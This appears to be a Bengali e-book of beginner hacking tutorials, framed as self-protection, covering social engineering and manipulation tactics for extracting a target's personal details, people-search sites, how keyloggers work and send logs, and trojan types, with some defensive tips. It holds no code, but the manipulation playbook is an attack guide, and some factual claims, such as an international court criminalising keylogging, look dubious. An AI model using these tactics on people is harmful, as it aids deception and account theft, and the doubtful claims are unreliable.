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হƟািকং িশখুন িনেজেক রǘা করার জনƟ অেনƟর ǘিত করার জনƟ নয় 

বইǅ সɑেকŪ  িকছু কথা.....................  
এই ʛািকং িটউেটািরয়াল বইিট ǯতির করার উেȶɸ এই নয় Ǯয, সবাইেক ʛািকং িশখােনা ! আমরা চাই আমরা যারা ইƳটারেনট বǪাবহার কির তারা Ǯযন 
নূɎতম ধারনা থােক ʛািকং সɡেকǭ যােত িনেজেক ʛািকং এর মারাȮক Ǹিতর হাত Ǯথেক িনেজেক রǸা করেত পােরন। আপনার যিদ ʛািকং িবষেয় 
নূɎতম ধারনা না থােক তাহেল আপিন িনেজেক রǸা করেবন িকভােব? এই বইিটেত Ǯবিসক ʛািকং িনেয় আেলাচনা করা হেয়েছ। বইিটর সবʜলা 
িটউেটািরয়াল এর কৃিতȭ বাংলা Ǯটকেনালিজ ɝগ িটউনারেপজ.কম এবং িযিন িটউেটািরয়াল ʜলা িলেখেছন Pirate_king. উনার এই িটউেটািরয়াল ʜলা 
না Ǯপেল হয়েতা বই িট ǯতির করাই হত না। বাংলাইবুকডাউনেলাড.কম ʣধু বই িট ǯতির কেরেছ মাȳ। বই িট আপিন পড়ুন এবং আপনার বɅু Ǯদর 
সােথও Ǯশয়ার কʠন এবং তােদর ʛািকং Ǯথেক িনেজেক রǸা করার জɎ সাহাযǪ কʠন।   

 

বই িট Ǯকান অʞমিত ছাড়া Ǯযেকােনা জায়গায় Ǯশয়ার করা যােব।  

 

িটউেটািরয়াল সমহূ  

১. Social Engineering & Manipulation .......................................................................................    3------5 

২. কীলিগং িক ? এটা িকভােব কাজ কের ?  .........................................................................................  6-------10 

৩.Ǯȟাজান িক ? Ǯকন ? িকভােব ?........................................................................................................  11------34 

৪. বǪিǶগত ʟরǸা ,  িনরপȲা এবং Ǯগাপনীয়তা িনিɳতকরণ ।………………………………………….   35------39 

৫. িফিশং এর যাবতীয় খুঁিটনািট নািড়নǸȳ িবʈািরত ।……………………………………………………  40------46 

৬. Cryptography িক? এটা কীভােব কাজ কের? সɡূণǭ িটউেটািরয়াল ………………………………  47------49 

৭. DoS িক ? DoS অǪাটাক িক Ǯকন িকভােব ?....................................................................................  50------56 

৮. RAT িক? Ǯকন?? িকভােব ? িবʈািরত…………………………………………………………..  57-----70 

 
িটউেটািরয়াল ʜলা ʣʠ করার আেগ একটা কথা বেল Ǯনওয়া ভাল Ǯয, যিদ আপিন িনেচর িটউেটািরয়াল 
ʜিল পেড় কারও Ǹিত কেরন বা এ সংǷাɁ Ǯযেকােনা সমʒা হেল বাংলাইবুকডাউনেলাড.কম বা 
িটউনারেপজ.কম বা এই বই এর Ǯলখক Pirate_king দায়ী থাকেবনা। ʟতরাং, যা করেবন সব িনজ 
দািয়েȭ করেবন। ধɎবাদ। 
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বƟািসক হƟািকং পবŪ -১ : Social Engineering & Manipulation 
আপিন যিদ একটা ঘর বানােত চান তাহেল আপনার কােছ ইট বালু িসেমȥ এসব থাকেত হেব । এগুেলা হেǱ এেǉবাের ĺবিসক উপকরণ বা কাঁচামাল ! আজকাল 
অেনক কারেনই আমােদর অেনেকর ইও আেরকজেনর ĺফসবুক অƟাকাউȥ / ই-ĺমইল অƟাকাউȥ হƟাক করার দরকার পেড়। কারণ গুেলা নাই বা উেɨখ করলাম । তেব 
হƟাক করব বলেলইেতা আর হƟাক হেয় যােব না । এর জনƟ অেনক ĺবিসক উপকরণ বা কাঁচামাল এর দরকার পড়েব। Social Engineering এবং Human 
Manipulation হেǱ হƟাক করার জনƟ এেকবাের দরকাির Ƶাথিমক ডাটা সমুহ । কারণ এগুেলা ছাড়া আপিন ĺকান security ই পার করেত পারেবন না আর তা 
না পারেল হƟাক ĺতা অেনক দূেরর কথা ! আসুন িশেখ ĺনই social engineering ও human manipulation এর খুব কাযŪকরী ও দরকাির পদেǘপ গুেলা  

Social Engineering : 

এটা হেǱ এমন একটা অ- িবǷানীয় মনʅিȐক পȝিত যার মধƟেম একজন বা একািধক মানুেষর সােথ কথা বলেত বলেত বা অনƟ ĺকান ধরেনর ĺযাগােযাগ এর মধƟেম 
তােদর ˰াভািবক ও অবেচতন মেনর রǘন ĺভেঙ গুরুʲপূণŪ ও ĺগাপন তথƟ ĺবর কের ĺনয়া ।  

ĺযমন আিম হয়ত আপাত পিরচয় এ আপনােক ĺকান বƟািǏগত তথƟ িদবই না ! আপিন িজেǷস করেল ও না । িকˍ আিম আমার কােছর বȴুǅেক সব এ বেল িদব 
ĺস িনেজ ĺথেক িকছু িজেǷস না করেলও । social engineering ওই তথƟ গুেলা ĺবর করার ই একটা পȝিত । 

Human Manipulation : 

ĺয মনʅিȐক ĺকৗশলী পȝিত ĺত এক বা একািধক মানুেষর আচরণগত এবং ˰াভািবক বƟাবহার ও উপলিɇ ĺক িদকƸাȭ করা হয় তােক মুলত Human 
Manipulation বেল ।  

ĺযমন আিম হয়ত বলেত চািǱ না ĺয আিম ĺকান এলাকা ĺত থািক িকˍ আপিন ĺকৗশলগত উপােয় ĺবর কের িনেত পারেবন ĺয আিম ĺকাথায় থািক । এটাই Human 
Manipulation . 

social engineering ও human manipulation করেত হেল আপনার Ƶেয়াজন কতগুেলা অিতব Ƶেয়াজনীয় তথƟ। এগুেলা আিম ফমŪ আকাের িনেচ িদিǱ । 
ĺযেকােনা সাইট এই ĺকান security questionnaires এ এগুেলার ĺভতর ĺথেকই Ƶɬ করা হেয় থােক ! আসুন ĺদেখ ĺনই Ƶেয়াজনীয় তথƟ গুেলা িক িক 

১।Fullname/পূণŪনাম: 
২।NickName/ডাকনাম: 
৩।Father’sname/িপতারনাম: 
৪।Mother’sname/মােয়রনাম: 
৫।DateofBirth/জȶতািরখ: 
৬।PlaceofBirth/জȶʆান: 
৭।Primarye-mail/Ƶাথিমকই-ĺমইল: 
৮।Secondarye-mails/অনƟই-ĺমইল: 
৯।IPaddress: 
১০।Country/ĺদশ: 
১১।Division/িবভাগ: 
১২।District/ĺজলা: 
১৩।PhoneNumber: 
১৪।Cell/MobilePhoneNumber: 
১৫।BestFriends: 
১৬।Pet name :  

এটাই ĺশষ না । আরও অেনক তথƟ ই দরকার পড়েত পাের । ĺসগুেলা ও Ƶেয়াজন মত এ িলʁ এ ĺযাগ কের িনেত পােরন । 

এখন কাযŪƵণালী বিল আেগই বেল রািখ এই কাযŪƵণালী এর ĺকান সীমা ĺনই । হাজােরা উপােয় হাজােরা পȝিত ĺত করা যায় কাজ টা। তেব ইȥারেনট ĺঘঁেট ও 
আমার বƟািǏগত অিভǷতা ĺথেক আিম সব ĺথেক কাযŪকরী ৫ টা পȝিতর কথা বলব এখােন তেব শুরুেতই বেল ĺনই social engineering ও human 
manipulation করার জনƟ আপনার থাকেত হেব খুব ই তিড়ৎ reflex action ও কথার িপেঠ কথা বলার ǘমতা । তাহেলই আপনার সফল হবার সɕাবনা হেয় 

যােব মািǙমাম ^_^ । 
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১। িমল খুঁেজ ĺবর করা : ĺখয়াল কের থাকেবন ĺয সবাই ই এমন িক আপিন ও পিরিচত ও া˰ভািবক পিরেবশ ও পিরিʆিত ĺত কথা বলেত ও চলােফরা করেত 
ভালবােসন । আপিন যার িবরুেȝ এই পȝিত গুেলা চালােত চান তােদর পছȱ – অপছȱ গুেলা ĺজেন িনন আেগ । অেনক টা homework এর মত । এর পর যখন 
কাজ শুরু করেবন আেʅ আেʅ কের Ƶিতপেǘর বলার আেগই আপিন তােক বেল িদন আপনার অমুক তমুক পছȱ [ অবশƟই Ƶিতপেǘর পছȱ - অপছȱ ĺক িনেজর টা 
বেল চািলেয় িদন ! ] এেত কের Ƶিতপǘ আপনােক সমপযŪােয়র , সমান রুিচর ও সমান সমান মানুষ মেন করেব । এক লােফই আপিন অেনক টা কােছর হেয় যােবন 

এবং তখন কাজ ĺতা জলবৎ তলরং  

২। Ƶিতʛল পিরিʆিতর অবতারণা :খািনক টা রাগ , অিভমান অথবা অনুরূপ বƟাবহার ই Ļতির কের Ƶিতʛল পিরিʆিতর । িচȭা কের ĺদখুন আপিন বাসায় রাগ কের 
বেস আেছন । বাবা – মা , ভাই ĺবান সবাই ই ĺকান না ĺকান সময় আপনােক সাধেত আসেব  

৩।সব ĺজেন ĺগিছ এমন একটা ভাব ধরুন : মেন করুন আপিন ĺফসবুক এ একটা ĺমেয়র সােথ নতুন নতুন বȴুʲ পািতেয়েছন এবং আপনােদর দুজেনর ভাব ও অেনক ! 
এখন ĺমেয় টা হয়ত একিদন ĺকাথাও ĺগল বȴুেদর সােথ ঘুরেত । আপনােক বেল নাই ! িকˍ ĺকান ভােব আপিন জানেত পারেলন ĺস ঘটনা । আপনার কাজ হেব 
অনুরূপ ĺকান একটা কথা বলা ” হুম … … .. আজ ĺতা ভালই মজা করেল বȴুেদর সােথ …. … … আমােক বলেলও না তেব আিম জািন জািন সব ই জািন 
:/ ” 
এর পর আপনার আর িকছু করা লাগেব না যা করার যা বলার সব ওই ĺমেয়ই বলেব  

৪। পিরিʆিত বুেঝ কথা বলুন :সব সময় এক রকম বƟাবহার করেবন না ! সময় ও পিরিʆিত বুেঝ বƟাবহার Ǉক করুন । এখােনই Ƶেয়াজন হেব আপনার reflex 
action এর । ধরুন কােরা িনকট আȕীয় অসুʆ। আপিন যিদ এরকম অবʆা ĺত তার সােথ ĺকান িসিরআস বƟাপাের হািসঠাǾা কেরন তেব সব িকছু ই আপনার 
Ƶিতʛেল চেল যােব  

৫। িধরিʆর পȝিত অবল˘ন করুন : ĺকান িকছুেতই তাড়াহুড়া করেবন না ! এেত অবশƟই িহেত িবপরীত হেব ! ĺচɳা করুন িধের চল পȝিত অবল˘ন করেত ! এবং 
পারেল কথা বা তথƟ ঘুিরেয় ĺবর করার ĺচɳা করুন ! 

 

এ গুেলা িছল িনিদŪɳ মানুষ ĺথেক তথƟ সংƣহ করার িকছু পȝিত । এছাড়াও অনƟ পȝিত ĺত ও আপিন অেনক সময় অেনক ওেয়বসাইট ĺথেক ও অƵতƟািশত অেনক 
তথƟ ĺপেয় ĺযেত পােরন । এরকম উপকাির কেয়কটা ওেয়বসাইট এর িলʁ আিম িনেচ িদিǱ  
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http://www.whitepages.com 

http://www.whois.com/ 

http://www.whois.net/ 

http://www.wink.com/ 

http://www.youtube.com 

http://www.zabasearch.com/ 

http://www.zoominfo.com 

এবং আপনার আমার সবার ĺবʁ ĺƶȨ http://www.google.com: 

এগুেলা ই আপাত দরকাির Ƿান Social Engineering ও Human manipulation এর উপর ।   
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বƟিসক হƟািকং পবŪ ২ : কীলিগং িক ? এটা িকভােব কাজ কের ?  
িʸতীয় পরেব আমরা িশখব কীলিগং এর যাবতীয় সব খুঁǅনাǅ । আসুন ĺদরী না কের ঝািপেয় পিড়  কীলিগং িকভােব করেত হয় ĺস বƟাপাের ǅউনার ĺপেজ অেনক 
ভােলা ভােলা ǅউন আেছ । একটঁু কɳ কের সাচŪ  িদেলই ĺপেয়  যােবন । িকˍ  কীলিগং করার আেগ যিদ আপনার এ বƟাপাের নূƟনতম Ƿান থাকা টা িক জরুির না ? 
এটাও হƟািকং ƣামােরর এেকবাের অ আ ক খ ! 

সময়  নɳ না কের আসুন ĺজেন ĺনই কীলিগং িক ? এটা িকভােব কাজ কের ? এর হাত ĺথেক রǘা পাওয়ার উপায় িক িক ? 

  

Ƶথেমই ĺজেন ĺনই কীলিগং িক ? 

  

Keyloggin  বা  Keystroke Logging হেǱ একটা হাডŪ ওয়Ɵার অথবা একটা সফটওয়Ɵার গত িসেʁম মিনটর ĺযটা একটা  কিɑউটার এর Ƶিত ǅ কী ĺবাডŪ  
এর ĺʀাক মিনটর / পযŪ েবǘণ কের  ĺরকডŪ   কের ওই কিɑউটার এর ইউজার এর অǷােত ।   কীলিগং  হাডŪ ওয়Ɵারগত অথবা  সফটওয়Ɵারগত ĺযেকােনা উপােয় করা 
হয় । একটা অƟািȥভাইরাস এ কীলগার ĺক ĺƪাজান এবং বƟাকেডার  িহেসেব সনাǏ কের । 

১৯৮৩ সােলর ১৭ নেভ˘র  Perry Kivolowitz  পৃিথবীর সবŪƵথম কীলগার িডজাইন কেরন । ২০১০ সােলর সােভŪ  অনুযায়ী সারা পৃিথবী ĺত কীলিগং কের এমন 
মানুেষর সংখা ৫১৭,৮০০ ( approx. ) । 

কী লিগং এর লগ অথŪাৎ  ĺরকডŪ  করা কী ĺʀাক গুেলা সাধারণত  C:\  Ƭাইভ এ একটা  .TXT  ফাইল িহেসেব ĺসভ হয় । আধুিনক কীলগার  গুেলার এই সব লগ 
ইেমইল এর মাধƟেম  ছিড়েয় ĺদওয়া ĺযেত পাের । বাʅিবক অেথŪ কীলগার িনেজ িসেʁম এর জনƟ ĺকান হুমিক না িকˍ ĺযেহতু এটা আপনার কীেবাডŪ  এর সব ĺʀাক ই 
ĺরকডŪ  করেব ĺসেহতু বলাই যাই এটা আপনার  পাসওয়াডŪ  এবং অনƟানƟ ĺগাপন তথƟ ও  ĺরকডŪ  করেব ĺযটা পের আপনার জনƟ অবশƟই হুমিক ˰রূপ ĺদখা িদেব 
!  সাইবার িƠিমনাল রা সাধারণত কীলগ বƟবহার কের বƟাংক কাডŪ  বা ĺƠিডট কাডŪ  এর ১৬ িডিজট অƟাকাউȥ না˘ার ও ৩ িডিজট এর িপন না˘ার টা সংƣহ করার 
জনƟ । এছাড়াও আর হাজােরা কােজ কীলিগং করা হয় । কােরা বƟািǏগত ইনফেমŪশন , কােরা পাসওয়াডŪ  , অথবা এমিন ই কীলিগং করা হয় । ĺফ˅য়ারী ২০০৫ ĺথেক 
কীলিগং ĺক   দȉেযাগƟ  অপরাধ িহেসেব নিথভুǏ করা হয় আȭজŪ ািতক আদালত এ । এর জনƟ সেব Ū াǮ $৯০,০০০  ফাইন অথবা ৩ বছেরর িবনাƽম কারাদȉ ĺদওয়ার 
আইন আেছ ! 

এপযŪȭ  কীলিগং কের যত সাইবার  Ơাইম করা হেয়েছ তার মেধƟ সব ĺথেক িবখƟাত Sumitomo Mitsui  এর ঘটনা টা । এেদর লȨন  অিফস ĺথেক ২০০৫ 
সােলর শুরুর  িদেক সাইবার িƠিমনাল রা ĺছাǾ একটা ১৩ ĺকিব এর কীলেগর িদেয় ৪২৩ িমিলয়ন িƷǅশ পাউȨ চুির করার  ĺচɳা  কের । এেকবাের ĺশষ মু˲েতŪর একটা 
ĺছাǾ ভুেলর কারেন ওই কীলগার এর িডজাইনার Yeron Bolondi পুিলশ এর কােছ ধরা ĺখেয় যান ! 

এছাড়াও অেনক বড় বড় বƟাংক ডাকািত ĺত ও কীলিগং কের অেনক টাকা হািতেয় ĺনওয়ার ভূির ভূির উদাহরন আেছ ! 

আসেলই বƟিǏগত িনরাপȑার ĺǘেƯ কীলিগং খুব ই বড় একটা হুমিক । তাই আিম সবসময়ই বলব দয়া কের িনেজেদর ĺক কীলিগং ĺথেক বাঁিচেয় রাখুন । 
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এটা একটা হাডŪ ওয়Ɵার িনভŪ র কীলগার । 

  

 

এটা  একটা লগ িরেপাটŪ   

  

  

এবার আসুন ĺজেন ĺনই কীলগার িকভােব কাজ কের 

 সফটওয়Ɵার িনভŪ র কীলগার : 

Hypervisor-based : এই পȝিত ĺত কীলগার একটা  Malware Hypervisor  িহেসেব  অপােরǅং িসেʁম এর ĺভতর লুিকেয় কীলিগং কের । উদাহরন : 
Blue Pill 
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API-based:  Application programming interface বা সংেǘেপ API  িনভŪ র কীলগার গুেলা ĺলখা বা িডজাইন করা সব ĺথেক সহজ । এগুেলা কীেবাডŪ  
এর ইȥারেফস িহেসেব িসেʁম এর কােছ পিরিচত হয় । িসেʁম এর মাধƟেমই এরা সব লগ পায় । িকˍ খুব ʶত টাইপ করেল [ 40+ WPM ]  এরা অেনক ĺʀাক 
িমস কের । 

Kernel-based: এগুেলা হেǱ ধুরȴর কীলগার ।  ĺকার িহেসেব এরা অপােরট কের । এগুেলা ĺমাটামুǅ FUD / Fully Un-Detectable  । এগুেলা ĺলখা ও 
ĺযমন কǇন ĺতমন এগুেলা ĺক সনাǏ করা ও কǇন । কীেবাডŪ  এর হাডŪ ওয়Ɵার Ƭাইভার িহেসেব িসেʁম এর সােথ সǻুǏ হেয় কীলগ সংƣহ কের । 

Form grabbing based: ওেয়ব Ʒাউজার এ যখন একটা তথƟ ইনপুট  করা হয় তখন টা HTTPS / HTTP  সংেযাগ পাওয়ার আেগই এগুেলা ĺক লগ কের 
ĺফেল এ ধরেনর কীলগার। 

Packet analyzers: HTTP POST সংƠাȭ ĺযেকােনা ডাটা ĺক লগ কের এধরেনর লগার । 

  

 হাডŪ ওয়Ɵার িনভŪর কীলগার :  

  

Firmware-based : BIOS  ĺথেক কীেবাডŪ  এর Firmware  িহেসেব কাজ কের এরা  কীেবাডŪ  এর সব ইনপুট লগ কের 

Keyboard hardware : িপিস ও কীেবাডŪ  এর ĺযেকােনা জায়গা ĺত সংযুǏ হেয় [ উপেরর ছিবর মত ]  কীেবাডŪ  এর ĺযেকােনা ইনপুট লগ কের এরা । 

Wireless keyboard sniffers : wireless  কীেবাডŪ  ĺথেক এর  িরিসভার এ পাঠােনা ĺযেকােনা ডাটা লগ কের এরা । 

Keyboard overlays : এটা সাধারণত ĺদখা যায় ATM  ĺমিশন গুলেত ।  হƟাকার রা খুব পাতলা এক ধরেনর আবরণী িবিছেয় ĺদয় ATM  ĺমিশন এর কী-
পƟাড এর উপর এবং ĺসখান ĺথেক PIN  না˘ার সংƣহ কের । 

Acoustic keyloggers : ১৯৯৬ সােলর মাঝামািঝ CIA  এধরেনর কীলগার বানায় । কীেবাডŪ  এর Ƶিত টা কী এর ĺʀাক একটা িভȵ মাƯার  Acoustic 
Notation  ĺদয় । দূর ĺথেক ĺস গুেলার অিডও লগ িনেয় পের তা িবেɮষণ কের আসল লগ ĺবর করা হয় । 

Electromagnetic emissions :  ২০০৯ সােল সুইস িবǷানীরা এ ধরেনর কীলগার আিবɾার কেরন । ২০ িমটার বা ৬৬ ফুট দূর ĺথেক এটা কাজ কের ! 

  

কীলগার এর সােথ সɑিকŪ ত আরও িকছু নাম ĺজেন িনন 

Clipboard logging : Clipboard এ কিপ  করা ĺযেকােনা িকছু লগ করা 

Screen logging : Screenshots  এর মাধƟেম কীলগ করা 

  

িকভােব কীলগার গুেলা তার লগ করা ডাটা পাঠায় ? 

১।FTP সাভŪ ার এর মাধƟেম  

২।পূবŪিনধŪ ািরত ĺকান ইেমইল আইিড ĺত ĺমইল কের  

৩। ওয়Ɵারেলস ƪাȷিমশন এর মাধƟেম 

৪।িরেমাট  আেǙস এর মাধƟেম । 

  

িকভােব কীলিগং ĺƵাƣাম গুেলা ʸারা আƠাȭ হেত পােরন ? 
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১। ĺকান ইেমইল এর সােথ এটাচ করা ĺকান ফাইল ওেপন কের  

২। P2P  ĺনটওয়াকŪ  এর মাধƟেম  

৩।আেগ ĺথেক িডজাইন করা একটা ওেয়ব ĺপজ যিদ সুরিǘত Ʒাউজার িদেয়  Ʒাউস না করা হয় তখন  

৪।অনƟ ĺকান Ƶƣােমর এর মাধƟেম  

৫। ইউএসিব ĺকান ধরেনর সংেযােগর এর মাধƟেম  

৬। িসিড / িডিভিড ĺথেক 

  

িকভােব বুঝেবন আপিন আƠাȭ হেয়েছন কীলিগং এর ? 

১। ভােলা অƟািȥভাইরাস এর মাধƟেম  

২। িনেচর ছিব  দুইটা ĺখয়াল করুন । একটা ʁাটŪ  আপ এর ĺƵাƣাম এর িলʁ আর অনƟ টা টাɾ মƟােনজার এর । খুেজ ĺবর করুন ĺকান ĺƵাƣাম টা আপনার পিরিচত 
না এবং ĺযটা আপিন জীবেনও বƟবহার কেরন িন ! এগুেলা ĺদখেত ĺপেলই বুঝেবন আপিন আƠাȭ । ĺদরী না কের সােথ সােথ Ƶিতকার শুরু কের িদন  

  

 

http://www.BanglaEbookDownload.Com


িƶ বাংলা ইবুক                           www.BanglaEbookDownload.Com 
 

হƟািকং িশখুন িনেজেক রǘা করার জনƟ অেনƟর ǘিত করার জনƟ নয় 

  

  

িকভােব বাঁচেবন কীলগার ĺথেক ? 

১। ভােলা অƟািȥভাইরাস – এর ĺকান িবকɤ ĺনই   

২।  Anti-spyware – এটা ও অƟািȥভাইরাস এর মতই কাজ কের  

৩।Network monitors – যখন ĺকান ĺƵাƣাম তার িনেজ ĺথেক ইȥারেনট এ কােনǋ হেত লায় তখন ইউজার ĺক সতরক কের Network monitors 

৪।Automatic form filler programs – এটা অেনকটা Ʒাউজার এর অেটােমǅক অপশন  remember my password  এর মতই  

৫। One-time passwords (OTP) – একধরেনর হাডŪ ওয়Ɵার যা ĺকান কী ĺʀাক ছাড়াই  পাসওয়াডŪ  এর এিȤ ĺদয় িনিদŪɳ ফমŪ এ  

৬। On-screen keyboards :  উইেȨাজ এর সবেথেক কােজর িজিনস এটা । যত বড় ঘাঘু কীলগার ই ĺহাক না ĺকন এটার কী ĺʀাক ĺকউ লগ করেত পারেব না 
 

৭।Keystroke interference software – এই ধরেনর সফটওয়Ɵার Ƶিতটা কী লগ ĺক encrypt  কের কীলগার গুেলা ĺক ধকা ĺদয় । খুব ই কােজর িজিনস 

  

  

আপাতত এই িছল কীলগার িনেয় িবʅািরত আেলাচনা ।   
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বƟািসক হƟািকং পবŪ ৩: ĺƪাজান িক ? ĺকন ? িকভােব ? 
শুরুেতই আসনু ĺজেন ĺনই ĺƪাজান িক ? 

  

ĺƪাজান সɑেকŪ  উইিকিপিডয়া বেল 

A Trojan horse, or Trojan, is a standalone malicious program that does not attempt to infect other computers in 
a completely automatic manner without help from outside forces like other programs and human intervention. 

অথŪাৎ ˰ িনভŪ র ĺয সব ǘিতকারক ĺƵাƣাম বাইেরর ĺকান সাহাযƟ ছাড়া ĺযমন অনƟানƟ ĺƵাƣাম এবং মানুেষর হʅেǘপ ছাড়া ˰য়ংিƠয় ভােব অনƟ কিɑউটার বা িসেʁম 
ĺক আƠাȭ করার ĺচɳা কের না তােদর ĺক ĺƪাজান বা ĺƪাজান হসŪ বেল । 

সহজ ভাষা ĺত  একǅ  বাʅব ও িব˞াসেযাগƟ [  trusted ]  ĺƵাƣাম এর ĺভতর লুিকেয় থাকা অনাকািǥত ও ǘিতকারক ĺƵাƣাম ĺƪাজান । ĺযেহতু এটা অনাকািǥত , 
তাই এর গিতিবিধ , কাযŪƵণালী , কাযŪপȝিত , বƟািȼ সবিকছুই ইউজার এর  িনকট অজানা ĺথেক যায় । কথা Ƶসেǩ বেল রািখ অপােরǅং িসেʁম এর  registry 
অȭভুŪ Ǐ না থাকা সব ĺƵাƣাম ই অনাকািǥত বেল িসেʁম এর কােছ গণƟ হেব । 

  

ĺƪাজান এর কাযŪিবিধ : 

ƣীক িমথ অনুযায়ী ƣীক রা তােদর ĻসনƟ বািহনী ĺক কতগুেলা কােঠর Ļতির ĺঘাড়ার ĺভতর ভের ĺসই ĺঘাড়াগুেলােক ƪয় বাসীেদর উপহার ĺদয়। পের যুȝ শুরু হেল ওই 
ĻসনƟ গুেলা ĺঘাড়া ĺথেক ĺবর হেয়  ƪয় এর অেভদƟ ĺদয়াল এর ĺভতর ĺথেক আƠমন কের ƪয় দখল কের ĺনয় ।  অখান ĺথেকই মুলত এধরেনর ĺƵাƣাম ĺক ĺƪাজান নাম 
ĺদওা হয় । এেক  হƟাকার রা ভালেবেস Mr. James  ও বেল থােক এর গুȼচর বৃȑীয় কােজ দǘতার জনƟ ! 

ĺƪাজান এর সৃিɳকতŪ া বা িডজাইনার এর ইǱা অনুযায়ী ĺƪাজান করেত পাের না এমন ĺকান কাজ ĺনই ! ! এটা ফাইল কিপ , িডিলট , ĺপʁ , adware , 
malware , spyware ĺƵাƣাম ইȷটল করা , ইȥারেনট অƟােǙস , ĺƵাƣাম িরমুভ সব ই করেত পাের । 

  

ĺƪাজান এর ধরণ : 

☻Remote Access Trojans:  এগুেলা  িভকǅম এর িসেʁম এর আংিশক বা পুরপুির দখল িনেয় িনেত পাের ।  একটা সাভŪ ার অƟািɀেকশান এর 
মাধƟেম  িভকǅম এর িপিস হেত সব ধরেনর আনুচরন করা হয় হƟাকার এর িপিস ĺথেক । িসেʁম ʁাটŪ  করার সােথ সােথ এটা এর  Ǔােয়ȥ িসেʁম [ হƟাকার এর 
িসেʁম ] এর সােথ একটা িনিদŪɳ ĺপাটŪ  এর মাধƟেম িনরাপদ সংেযাগ ʆাপন কের । এর পর Ǔােয়ȥ িসেʁম ĺথেক যা ইǱা করা যায়  িভকǅম এর িসেʁম এ । ĺবশীর 
ভাগ ĺƪাজান এ ধরেনর।  

☻Data Sending Trojans:  একটা ইেমইল বা বƟাকেডার এর মাধƟেম   িভকǅম এর িসেʁম হেত কী – লগ , পাসওয়াডŪ  , ʛিক  Ǔােয়ȥ িসেʁম এ িফড 
কের । 

☻Destructive Trojans : দুেটা   উেțশƟ এ ধরেনর ĺƪাজান বƟবহার করা হেয় থােক । (এক) ʼংসাȕক উেțশƟ - িসেʁম ƠƟাশ , অপােরǅং িসেʁম ĺক 
করাȹ করা বা উরাধুরা ́ানডম ফাইল িডিলট করা । ( দুই ) িসিরয়াস   উেțশƟ - আপনার িপিস আর হƟাকার এর ĺভতর সব ĺথেক বড় বাধা হেǱ আপনার 
িসেʁম এর ফায়ারওয়াল বা অƟািȥভাইরাস । আপনার িপিস ĺক িনেজর বাগান এর মত বািনেয় িনেত হƟাকার রা এ ধরেনর ĺƪাজান বানায় । এটা এমন ভােব ĺƵাƣাম 
করা হয় ĺয এ আপনার িসেʁম এ এেশ বসিত গাড়েব আপনারই সােধর ফায়ার ওয়াল বা অƟািȥভাইরাস এর উপর এগুেলার  িসʛƟিরǅ ĺক আংিশক বা পুরপুির 
িডসঅƟােবল কের । হয়ত আপনার কােছ সবিকছুই আপাত ও Ǉকঠাক লাগেব িকˍ িকছুই Ǉক ĺনই   

☻DDos Attack Trojans: একটা সাভŪ ার এর সােথ সংযুǏ সন গুেলা িসেʁম [ লƟান ĺনটওয়াকŪ  ] বা িসেʁম ĺক ধিসেয় ĺদবার জনƟ এর ĺকান তুলনা ও ĺনই 
, উȑর ও ĺনই , Ƶিতরধ ও ĺনই । এরা অপরােজয় ! এটা  Ƶথেম সাভŪ ার  এর ও এর সােথ সংযুǏ সবগুেলা িসেʁম গুেলা ĺক আƠমন কের আƠাȭ বা ইনফƟােǋড 

কের  ĺফেল এবং এগুেলা ĺক ʁƟাȨবাই কের রােখ । এর পর  হঠাৎ কের সবগুেলা িসেʁম এ এবং িসেʁম গুেলা ĺথেক সাভŪ ার এ একসােথ অগুনিত িসেʁম কমাȨ িদেত 
থােক । িসেʁম এর কাযŪকরী ǘমতার বাইের যখনই কমাȨ এর সংখƟা চেল যােব তখন এ সাভŪ ার ও এর সােথ সংযুǏ সবগুেলা িসেʁম একসােথ  ƠƟাশ করেব এবং 
অকারজকির হেয়  যােব । 
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হƟািকং িশখুন িনেজেক রǘা করার জনƟ অেনƟর ǘিত করার জনƟ নয় 

☻Proxy Trojans :  হƟাকার ĺদর পিরচয় ĺগাপন করাই এটার  উেțশƟ। মেন করুন আপনার িসেʁম ĺক আিম আƠমন করব । ĺস জনƟ আপনার িপিস এর 
পিরচয় আমােক ĺপেত হেব । আিম আমার  কমƟাȨ Ƶɑট ĺথেক সহেজই টা ĺপেত পাির । িকˍ ĺস জনƟ আমােক আমার িনেজর পিরচয় ও িদেত হেব । এখােন পিরচƟ 
শɆ টা বƟাবহার করা হেǱ ĺপাটŪ   আইেডনǅǅ , আই িপ , মƟাক সব এ অȭভুŪ Ǐ । শুধু এটা লুকানর জনƟই এধেরন ĺƪাজান বƟাবহার করা হয় । এটা ʸারা আিম অনƟ 

একটা ĺʎভ িসেʁম বƟাবহার কের আপনার পিরচয় িনেত পারব এবং ĺসেǘেƯ আপিন বƟাক ƪƟাক করেলও ĺʎভ িসেʁম এর পিরচয় পােবন , আমার টা না ! 

☻Security Software Disabler Trojan : এটার নােমই পিরচয় । িসেʁম ĺক আƠমন কের এেদর কাজ হেǱ িসেʁম এর িডফɝ না এমন সব 
িসʛƟিরǅ অƟািɀেকশান এবং সফটওয়Ɵার গুেলা ĺক িডজঅƟােবল কের পরবতʗ আƠমেনর জনƟ আদশŪ পিরেবশ Ļতির কের ĺদওয়া । এেদর ĺক ĺরিক ĺƪাজান ও বেল থােক 
। 

  

  

িকভােব বুঝেবন আপিন আƠাȭ িকনা [ সনািǏকরন ]  

  

ĺƪাজান এর সবেথেক বড় সনািǏকরন পȝিত হেǱ এটা ĺয ĺকান অবʆা ĺতই ĺনটওয়াকŪ   অƟাডাপটার এর সােথ একটা  িনিদŪɳ ĺপাটŪ  এর মাধƟেম িলেসনার ĺপাʁ বা 
হƟাকার এর িসেʁম এ ডাটা িফড কের । হালনাগাদ অƟািȥভাইরাস অথবা অƟািȥ ʊাই ওƟায়ার ,অƟািȥ মƟাল ওƟায়ার  এগুেলা থাকেল খুব সহেজই আপিন জানেত 
পারেবন আপিন ĺƪাজান আƠাȭ িকনা । শুধু তাই না আপিন ĺসগুল িরমুভ ও করেত পারেবন । তেব এগুেলা ছাড়া ও আপিন বুঝেত পারেবন আপিন আƠাȭ িকনা । 
তেব বƟিǏগত ভােব আিম বলব আপনারা িনেজ িনেজই ĺƪাজান ǅ খুেজ ĺবর করার ĺচɳা করুন । কারন অেনক সময় ই ĺƪাজান গুেলা FUD / Fully Un-
Detectable  হয় । অথŪাৎ খুব হালনাগাদ অƟািȥভাইরাস ও এর অিʅʲ সɑেকŪ  িকছুই বলেত পাের না ! িনেজ িকভােব খুেজ ĺবর করেবন তার পȝিত আিম 
আপনােদর ĺক এখন বলব  

১) Ƶথেমই  RUN  ĺথেক  কমাȨ Ƶɑট বা  CMD  ওেপন করুন িনেচর িচেƯর মত কের 

  

 

  

